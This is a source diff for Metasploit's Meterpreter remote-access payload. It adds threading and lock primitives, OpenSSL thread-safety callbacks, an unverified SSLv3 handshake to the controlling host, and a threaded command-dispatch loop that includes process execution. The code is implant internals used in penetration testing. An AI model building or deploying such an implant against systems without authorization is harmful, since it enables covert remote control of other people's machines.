+/*****************************************************************************************/ + +/* + * Create a new event which can be signaled/polled/and blocked on. + */ +EVENT * event_create( VOID ) +{ + EVENT * event = NULL; + + event = (EVENT *)malloc( sizeof( EVENT ) ); + if( event == NULL ) + return NULL; + + memset( event, 0, sizeof( EVENT ) ); + + event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); + if( event->handle == NULL ) + { + free( event ); + return NULL; + } + + return event; +} + +/* + * Destroy an event. + */ +BOOL event_destroy( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + CloseHandle( event->handle ); + + free( event ); + + return TRUE; +} + +/* + * Signal an event. + */ +BOOL event_signal( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + if( SetEvent( event->handle ) == 0 ) + return FALSE; + + return TRUE; +} + +/* + * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. + * If timeout is 0 this function does not block but returns immediately. + */ +BOOL event_poll( EVENT * event, DWORD timeout ) +{ + if( event == NULL ) + return FALSE; + + if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +} + +/*****************************************************************************************/ + +/* + * Create a new thread in a suspended state. + */ +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 ) +{ + THREAD * thread = NULL; + + if( funk == NULL ) + return NULL; + + thread = (THREAD *)malloc( sizeof( THREAD ) ); + if( thread == NULL ) + return NULL; + + memset( thread, 0, sizeof( THREAD ) ); + + thread->sigterm = event_create(); + if( thread->sigterm == NULL ) + { + free( thread ); + return NULL; + } + + thread->parameter1 = param1; + + thread->parameter2 = param2; + + thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id ); + if( thread->handle == NULL ) + { + event_destroy( thread->sigterm ); + free( thread ); + return NULL; + } + + return thread; +} + +/* + * Run a thread. + */ +BOOL thread_run( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + if( ResumeThread( thread->handle ) < 0 ) + return FALSE; + + return TRUE; +} + +/* + * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. + * Should be used to signal the thread to terminate. + */ +BOOL thread_sigterm( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + return event_signal( thread->sigterm ); +} + +/* + * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. + */ +BOOL thread_kill( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + if( TerminateThread( thread->handle, -1 ) == 0 ) + return FALSE; + + return TRUE; +} + + +/* + * Blocks untill the thread has terminated. + */ +BOOL thread_join( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +} + +/* + * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your + * thread to terminate and wait for it to do so (via thread_signal/thread_join). + */ +BOOL thread_destroy( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + event_destroy( thread->sigterm ); + + CloseHandle( thread->handle ); + + free( thread ); + + return TRUE; +} diff --git a/external/source/meterpreter/source/common/thread.h b/external/source/meterpreter/source/common/thread.h new file mode 100644 index 0000000000..bb2e3d747e --- /dev/null +++ b/external/source/meterpreter/source/common/thread.h @@ -0,0 +1,67 @@ +#ifndef _METERPRETER_LIB_THREAD_H +#define _METERPRETER_LIB_THREAD_H + +/*****************************************************************************************/ + +typedef struct _LOCK +{ + CRITICAL_SECTION cs; +} LOCK, * LPLOCK; + +typedef struct _EVENT +{ + HANDLE handle; +} EVENT, * LPEVENT; + +typedef struct _THREAD +{ + DWORD id; + HANDLE handle; + EVENT * sigterm; + LPVOID parameter1; + LPVOID parameter2; +} THREAD, * LPTHREAD; + +#define THREADCALL __stdcall + +typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread ); + +/*****************************************************************************************/ + +LOCK * lock_create( VOID ); + +VOID lock_destroy( LOCK * lock ); + +VOID lock_acquire( LOCK * lock ); + +BOOL lock_poll( LOCK * lock ); + +VOID lock_release( LOCK * lock ); + +/*****************************************************************************************/ + +EVENT * event_create( VOID ); + +BOOL event_destroy( EVENT * event ); + +BOOL event_signal( EVENT * event ); + +BOOL event_poll( EVENT * event, DWORD timeout ); + +/*****************************************************************************************/ + +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 ); + +BOOL thread_run( THREAD * thread ); + +BOOL thread_sigterm( THREAD * thread ); + +BOOL thread_kill( THREAD * thread ); + +BOOL thread_join( THREAD * thread ); + +BOOL thread_destroy( THREAD * thread ); + +/*****************************************************************************************/ + +#endif \ No newline at end of file diff --git a/external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c b/external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c index 91214aff81..538e852c2c 100644 --- a/external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c +++ b/external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c @@ -16,6 +16,8 @@ static DWORD tcp_channel_client_write(Channel *channel, Packet *request, DWORD result= ERROR_SUCCESS; LONG written = 0; + dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize ); + // Write a chunk if ((written = send(ctx->fd, buffer, bufferSize, 0)) <= 0) { @@ -38,6 +40,8 @@ static DWORD tcp_channel_client_close(Channel *channel, Packet *request, { TcpClientContext *ctx = (TcpClientContext *)context; + dprintf( "[TCP] tcp_channel_client_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); + if (ctx) { // Set the context channel to NULL so we don't try to close the @@ -145,8 +149,6 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) * Creates a connection to a remote host and builds a logical channel to * represent it. * - * TODO: This needs to be done in a non-blocking fashion or in the context of a - * worker thread. */ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, Channel **outChannel) @@ -161,6 +163,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, if (outChannel) *outChannel = NULL; + dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort ); + do { // Allocate a client socket @@ -235,7 +239,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, { WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE); - scheduler_insert_waitable(ctx->notify, ctx, + scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify); } @@ -263,6 +267,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, */ VOID free_socket_context(SocketContext *ctx) { + dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx ); + // Close the socket and notification handle if (ctx->fd) closesocket(ctx->fd); @@ -291,21 +297,26 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) Channel *channel = NULL; DWORD result = ERROR_SUCCESS; DWORD how; + dprintf( "[TCP] entering request_net_socket_tcp_shutdown" ); // Find the associated channel - channel = channel_find_by_id(packet_get_tlv_value_uint(packet, - TLV_TYPE_CHANNEL_ID)); + channel = channel_find_by_id(packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)); + how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); + dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X", channel ); + // If the channel and channel context are valid... if ((channel) && ((ctx = channel_get_native_io_context(channel)))) { if (shutdown(ctx->fd, how) == SOCKET_ERROR) result = WSAGetLastError(); + else + free_socket_context( ctx ); } packet_transmit_response(result, remote, response); - + dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" ); return ERROR_SUCCESS; } diff --git a/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c b/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c index 8e68da0d74..63724a7202 100644 --- a/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/external/source/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -89,6 +89,10 @@ Command customCommands[] = { request_sys_process_get_info, { 0 }, 0 }, { EMPTY_DISPATCH_HANDLER }, }, + { "stdapi_sys_process_wait", + { request_sys_process_wait, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, // Image { "stdapi_sys_process_image_load", diff --git a/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c index 32e62adf85..6f1c8912d3 100644 --- a/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c +++ b/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.c @@ -93,6 +93,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) BOOL doInMemory = FALSE; HANDLE token, pToken; + dprintf( "[PROCESS] request_sys_process_execute" ); + // Initialize the startup information memset(&si, 0, sizeof(si)); @@ -151,13 +153,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; - ProcessChannelContext *ctx = NULL; + ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context - if (!(ctx = (ProcessChannelContext *)malloc( - sizeof(ProcessChannelContext)))) + if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; @@ -592,6 +593,8 @@ DWORD process_channel_read(Channel *channel, Packet *request, ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; + dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx ); + if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL)) result = GetLastError(); @@ -608,6 +611,8 @@ DWORD process_channel_write(Channel *channel, Packet *request, ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; + dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx ); + if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL)) result = GetLastError(); @@ -617,16 +622,20 @@ DWORD process_channel_write(Channel *channel, Packet *request, /* * Closes the channels that were opened to the process. */ -DWORD process_channel_close(Channel *channel, Packet *request, - LPVOID context) +DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context) { ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; + dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); + if (channel_is_interactive(channel)) scheduler_remove_waitable(ctx->pStdout); - CloseHandle(ctx->pStdout); + // Note: We dont close the handle ctx->pStdout as this will introduce a synchronization + // problem with the channels interactive thread, specifically the call to WaitForMultipleObjects + // will have undefined behaviour. The interactive thread will close the handle instead. + CloseHandle(ctx->pStdin); free(ctx); @@ -654,69 +663,52 @@ DWORD process_channel_interact_notify(Remote *remote, Channel *channel) bytesRead, NULL); // Otherwise, if things fail, close the channel else if (GetLastError() != ERROR_SUCCESS) - channel_close(channel, remote, NULL, 0, NULL); + { + process_channel_close( channel, NULL, ctx ); + channel_close( channel, remote, NULL, 0, NULL ); + } return ERROR_SUCCESS; } /* - * Enables or disables interactivity with the standard output - * handle on the channel + * Enables or disables interactivity with the standard output handle on the channel */ -DWORD process_channel_interact(Channel *channel, Packet *request, - LPVOID context, BOOLEAN interact) +DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact) { ProcessChannelContext *ctx = (ProcessChannelContext *)context; DWORD result = ERROR_SUCCESS; + dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact ); + // If the remote side wants to interact with us, schedule the stdout handle // as a waitable item if (interact) - result = scheduler_insert_waitable(ctx->pStdout, channel, - (WaitableNotifyRoutine)process_channel_interact_notify); - // Otherwise, remove it - else + result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify); + else // Otherwise, remove it result = scheduler_remove_waitable(ctx->pStdout); - return result; } /* - * The routine to send a notify request (responseless request) that - * the wait has finished... - */ -DWORD process_wait_notify(Remote * remote, HANDLE handle) -{ - - Packet * request = packet_create(PACKET_TLV_TYPE_REQUEST, "process_wait_notify"); - - packet_add_tlv_uint(request, TLV_TYPE_HANDLE, (DWORD)handle); - - packet_transmit(remote, request, NULL); - - return ERROR_SUCCESS; -} - -/* - * Wait on a process handle until it terminates + * Wait on a process handle until it terminates. * - * req: TLV_TYPE_HANDLE - The process handle to close. + * req: TLV_TYPE_HANDLE - The process handle to wait on. */ DWORD request_sys_process_wait(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - HANDLE handle; - DWORD result; + Packet * response = packet_create_response( packet ); + HANDLE handle = NULL; + DWORD result = ERROR_INVALID_PARAMETER; - handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE ); + if( handle ) + { + if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 ) + result = ERROR_SUCCESS; + } - result = scheduler_insert_waitable( - handle, - (LPVOID)handle, - (WaitableNotifyRoutine)process_wait_notify - ); + packet_transmit_response( result, remote, response ); - packet_transmit_response(result, remote, response); - - return ERROR_SUCCESS; + return result; } diff --git a/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.h b/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.h index 491e477639..0749420cb3 100644 --- a/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.h +++ b/external/source/meterpreter/source/extensions/stdapi/server/sys/process/process.h @@ -67,6 +67,5 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, /* * Wait methods */ -DWORD process_wait_notify(Remote * remote, HANDLE handle); DWORD request_sys_process_wait(Remote *remote, Packet *packet); #endif diff --git a/external/source/meterpreter/source/server/server_setup.c b/external/source/meterpreter/source/server/server_setup.c index bb061bb2cd..c6c456809f 100644 --- a/external/source/meterpreter/source/server/server_setup.c +++ b/external/source/meterpreter/source/server/server_setup.c @@ -5,6 +5,7 @@ #include // for EXCEPTION_ACCESS_VIOLATION #include +// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor // include the Reflectiveloader() function #include "../ReflectiveDLLInjection/ReflectiveLoader.c" @@ -26,93 +27,84 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) #define ExitThread(x) exit((x)) #endif -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - #define PREPEND_ERROR "### Error: " #define PREPEND_INFO "### Info : " #define PREPEND_WARN "### Warn : " - -static DWORD monitor_loop(Remote *remote); -static DWORD negotiate_ssl(Remote *remote); -static void ssl_debug_log( void *ctx, int level, char *str ); -static void flush_socket(Remote *remote); -DWORD server_setup(SOCKET fd) -{ - Remote *remote = NULL; - DWORD res = 0; -#ifdef _UNIX - int local_error = 0; -#endif - // if hAppInstance is still == NULL it means that we havent been - // reflectivly loaded so we must patch in the hAppInstance value - // for use with loading server extensions later. - InitAppInstance(); - srand((unsigned int)time(NULL)); - - __try - { +/* + * This thread is the main server thread which we use to syncronize a gracefull + * shutdown of the server during process migration. + */ +THREAD serverThread = {0}; - do - { - if (!(remote = remote_allocate(fd))) - { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - break; - } - - // Do not allow the file descriptor to be inherited by child - // processes - SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); - - // Flush the socket handle - dprintf("Flushing the socket handle..."); - flush_socket(remote); - - // Initialize SSL on the socket - dprintf("Negotiating SSL..."); - negotiate_ssl(remote); - - // Register extension dispatch routines - dprintf("Registering dispatch routines..."); - register_dispatch_routines(); - - dprintf("Entering the monitor loop..."); - // Keep processing commands - res = monitor_loop(remote); - - dprintf("Deregistering dispatch routines..."); - // Clean up our dispatch routines - deregister_dispatch_routines(); - - } while (0); - - dprintf("Closing down SSL..."); - SSL_free(remote->ssl); - SSL_CTX_free(remote->ctx); - - if (remote) - remote_deallocate(remote); - } - - /* Invoke the fatal error handler */ - __except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { - dprintf("*** exception triggered!"); - ExitThread(0); - } - - return res; -} +/* + * An array of locks for use by OpenSSL. + */ +static LOCK ** ssl_locks = NULL; +/* + * A callback function used by OpenSSL to leverage native system locks. + */ +static VOID server_locking_callback( int mode, int type, const char * file, int line ) +{ + if( mode & CRYPTO_LOCK ) + lock_acquire( ssl_locks[type] ); + else + lock_release( ssl_locks[type] ); +} -// Flush all pending data on the connected socket before doing SSL -static void flush_socket(Remote *remote) { +/* + * A callback function used by OpenSSL to get the current threads id. + * While not needed on windows this must be used for posix meterpreter. + */ +static DWORD server_threadid_callback( VOID ) +{ + return GetCurrentThreadId(); +} + +/* + * Callback function for dynamic lock creation for OpenSSL. + */ +static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line ) +{ + return (struct CRYPTO_dynlock_value *)lock_create(); +} + +/* + * Callback function for dynamic lock locking for OpenSSL. + */ +static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l, const char * file, int line ) +{ + LOCK * lock = (LOCK *)l; + + if( mode & CRYPTO_LOCK ) + lock_acquire( lock ); + else + lock_release( lock ); +} + +/* + * Callback function for dynamic lock destruction for OpenSSL. + */ +static void server_dynamiclock_destroy( struct CRYPTO_dynlock_value * l, const char * file, int line ) +{ + lock_destroy( (LOCK *)l ); +} + +/* + * Flush all pending data on the connected socket before doing SSL. + */ +static VOID server_socket_flush( Remote * remote ) +{ fd_set fdread; DWORD ret; SOCKET fd; unsigned char buff[4096]; + lock_acquire( remote->lock ); + fd = remote_get_fd(remote); + while (1) { struct timeval tv; LONG data; @@ -125,92 +117,302 @@ static void flush_socket(Remote *remote) { tv.tv_usec = 0; data = select(fd + 1, &fdread, NULL, NULL, &tv); - if(data == 0) break; + if(data == 0) + break; ret = recv(fd, buff, sizeof(buff), 0); - dprintf("Flushed %d bytes from the buffer"); + dprintf("[SERVER] Flushed %d bytes from the buffer"); continue; } -} + + lock_release( remote->lock ); +} + /* - * Negotiate SSL on the socket + * Poll a socket for data to recv and block when none available. */ -static DWORD negotiate_ssl(Remote *remote) +static LONG server_socket_poll( Remote * remote, long timeout ) { - DWORD hres = ERROR_SUCCESS; - SOCKET fd = remote_get_fd(remote); - DWORD ret; - + struct timeval tv; + LONG result; + fd_set fdread; + SOCKET fd; + + lock_acquire( remote->lock ); + + fd = remote_get_fd( remote ); + + FD_ZERO( &fdread ); + FD_SET( fd, &fdread ); + + tv.tv_sec = 0; + tv.tv_usec = timeout; + + result = select( fd + 1, &fdread, NULL, NULL, &tv ); + + lock_release( remote->lock ); + + return result; +} + +/* + * Initialize the OpenSSL subsystem for use in a multi threaded enviroment. + */ +static BOOL server_initialize_ssl( Remote * remote ) +{ + int i = 0; + + lock_acquire( remote->lock ); + + // Begin to bring up the OpenSSL subsystem... + CRYPTO_malloc_init(); SSL_load_error_strings(); SSL_library_init(); - remote->meth = SSLv3_client_method(); - - remote->ctx = SSL_CTX_new(remote->meth); - SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY); - - remote->ssl = SSL_new(remote->ctx); - SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL); - if (SSL_set_fd(remote->ssl, remote->fd) == 0) { - perror("set fd failed"); - exit(1); - } - - - if ((ret = SSL_connect(remote->ssl)) != 1) { - printf("connect failed %d\n", SSL_get_error(remote->ssl, ret)); - exit(1); - } - dprintf("Sending a HTTP GET request to the remote side..."); - if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) { - dprintf("SSL write failed during negotiation with return: %d (%d)", ret, - SSL_get_error(remote->ssl, ret)); - } - - dprintf("Completed writing the HTTP GET request: %d", ret); - - if(ret < 0) - ExitThread(0); - - return(0); -} - -/* - * Monitor for requests and local waitable items in the scheduler - */ -static DWORD monitor_loop(Remote *remote) -{ - DWORD hres = ERROR_SUCCESS; - SOCKET fd = remote_get_fd(remote); - fd_set fdread; - - /* - * Read data locally and remotely - */ - while (1) + // Setup the required OpenSSL multi-threaded enviroment... + ssl_locks = (LOCK**)malloc( CRYPTO_num_locks() * sizeof(LOCK) ); + if( ssl_locks == NULL ) { - struct timeval tv; - LONG data; - - FD_ZERO(&fdread); - FD_SET(fd, &fdread); - - tv.tv_sec = 0; - tv.tv_usec = 100; - - data = select(fd + 1, &fdread, NULL, NULL, &tv); - - if (data > 0) - { - if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS) - break; - } - else if (data < 0) - break; - - // Process local scheduler items - scheduler_run(remote, 0); + lock_release( remote->lock ); + return FALSE; } - return hres; -} + for( i=0 ; ilock ); + + return TRUE; +} + +/* + * Bring down the OpenSSL subsystem + */ +static BOOL server_destroy_ssl( Remote * remote ) +{ + int i = 0; + + if( remote == NULL ) + return FALSE; + + lock_acquire( remote->lock ); + + SSL_free( remote->ssl ); + + SSL_CTX_free( remote->ctx ); + + CRYPTO_set_locking_callback( NULL ); + CRYPTO_set_id_callback( NULL ); + //CRYPTO_set_dynlock_create_callback( NULL ); + //CRYPTO_set_dynlock_lock_callback( NULL ); + //CRYPTO_set_dynlock_destroy_callback( NULL ); + + for( i=0 ; ilock ); + + return TRUE; +} +/* + * Negotiate SSL on the socket. + */ +static BOOL server_negotiate_ssl(Remote *remote) +{ + BOOL success = TRUE; + SOCKET fd = 0; + DWORD ret = 0; + + lock_acquire( remote->lock ); + + do + { + fd = remote_get_fd(remote); + + remote->meth = SSLv3_client_method(); + + remote->ctx = SSL_CTX_new(remote->meth); + SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY); + + remote->ssl = SSL_new(remote->ctx); + SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL); + + if( SSL_set_fd(remote->ssl, remote->fd) == 0 ) + { + dprintf("[SERVER] set fd failed"); + success = FALSE; + break; + } + + if( (ret = SSL_connect(remote->ssl)) != 1 ) + { + dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret)); + success = FALSE; + break; + } + + dprintf("[SERVER] Sending a HTTP GET request to the remote side..."); + + if( (ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0 ) + { + dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret)); + } + + } while(0); + + lock_release( remote->lock ); + + dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret); + + if( ret < 0 ) + success = FALSE; + + return success; +} + +/* + * The servers main dispatch loop for incoming requests. + */ +static DWORD server_dispatch( Remote * remote ) +{ + LONG result = ERROR_SUCCESS; + Packet * packet = NULL; + THREAD * cpt = NULL; + + dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote ); + + // Bring up the scheduler subsystem. + result = scheduler_initialize( remote ); + if( result != ERROR_SUCCESS ) + return result; + + while( TRUE ) + { + if( event_poll( serverThread.sigterm, 0 ) ) + { + dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." ); + break; + } + + result = server_socket_poll( remote, 100 ); + if( result > 0 ) + { + result = packet_receive( remote, &packet ); + if( result != ERROR_SUCCESS ) + break; + + cpt = thread_create( command_process_thread, remote, packet ); + + dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); + + if( cpt != NULL ) + thread_run( cpt ); + } + else if( result < 0 ) + { + break; + } + } + + dprintf( "[DISPATCH] calling scheduler_destroy..." ); + scheduler_destroy(); + + dprintf( "[DISPATCH] calling command_join_threads..." ); + command_join_threads(); + + dprintf( "[DISPATCH] leaving server_dispatch." ); + + return result; +} + +/* + * Setup and run the server. This is called from Init via the loader. + */ +DWORD server_setup( SOCKET fd ) +{ + Remote *remote = NULL; + DWORD res = 0; + +#ifdef _UNIX + int local_error = 0; +#endif + + // if hAppInstance is still == NULL it means that we havent been + // reflectivly loaded so we must patch in the hAppInstance value + // for use with loading server extensions later. + InitAppInstance(); + + srand( (unsigned int)time(NULL) ); + + __try + { + do + { + dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance ); + + // manually create a THREAD item for the servers main thread, we use this to manage migration later. + memset( &serverThread, 0, sizeof(THREAD) ); + serverThread.id = GetCurrentThreadId(); + serverThread.handle = OpenThread( THREAD_TERMINATE, FALSE, serverThread.id ); + serverThread.sigterm = event_create(); + + dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread.handle, serverThread.id, serverThread.sigterm ); + + if( !(remote = remote_allocate(fd)) ) + { + SetLastError( ERROR_NOT_ENOUGH_MEMORY ); + break; + } + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); + + dprintf("[SERVER] Flushing the socket handle..."); + server_socket_flush( remote ); + + dprintf("[SERVER] Initializing SSL..."); + if( !server_initialize_ssl( remote ) ) + break; + + dprintf("[SERVER] Negotiating SSL..."); + if( !server_negotiate_ssl( remote ) ) + break; + + dprintf("[SERVER] Registering dispatch routines..."); + register_dispatch_routines(); + + dprintf("[SERVER] Entering the main server dispatch loop..."); + server_dispatch( remote ); + + dprintf("[SERVER] Deregistering dispatch routines..."); + deregister_dispatch_routines(); + + } while (0); + + dprintf("[SERVER] Closing down SSL..."); + + server_destroy_ssl( remote ); + + if( remote ) + remote_deallocate( remote ); + + } + __except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) ) + { + dprintf("[SERVER] *** exception triggered!"); + + thread_kill( &serverThread ); + } + + dprintf("[SERVER] Finished."); + return res; +} diff --git a/external/source/meterpreter/source/server/win/remote_dispatch.c b/external/source/meterpreter/source/server/win/remote_dispatch.c index f11930933d..fc6f6ad294 100644 --- a/external/source/meterpreter/source/server/win/remote_dispatch.c +++ b/external/source/meterpreter/source/server/win/remote_dispatch.c @@ -99,11 +99,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) // wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions. remote->hMetSrv = hAppInstance; - dprintf("Calling init()..."); + dprintf("[SERVER] Calling init()..."); // Call the init routine in the library if( init ) res = init(remote); - dprintf("Called init()..."); + dprintf("[SERVER] Called init()..."); } } while (0); @@ -111,10 +111,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); - packet_transmit(remote, response, NULL); } - dprintf("Returning back to cmd handler..."); return res; } diff --git a/external/source/meterpreter/workspace/common/common.vcproj b/external/source/meterpreter/workspace/common/common.vcproj index a1c3312e97..0cda87f3cf 100644 --- a/external/source/meterpreter/workspace/common/common.vcproj +++ b/external/source/meterpreter/workspace/common/common.vcproj @@ -95,6 +95,84 @@ Name="VCPostBuildEventTool" /> + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - + + @@ -612,7 +616,7 @@ /> + + @@ -690,7 +698,7 @@ /> + + @@ -765,6 +777,10 @@ RelativePath="..\..\source\common\scheduler.h" > + + diff --git a/external/source/meterpreter/workspace/metsrv/metsrv.vcproj b/external/source/meterpreter/workspace/metsrv/metsrv.vcproj index c8c2c8bc9a..54ff39057f 100644 --- a/external/source/meterpreter/workspace/metsrv/metsrv.vcproj +++ b/external/source/meterpreter/workspace/metsrv/metsrv.vcproj @@ -80,7 +80,7 @@ />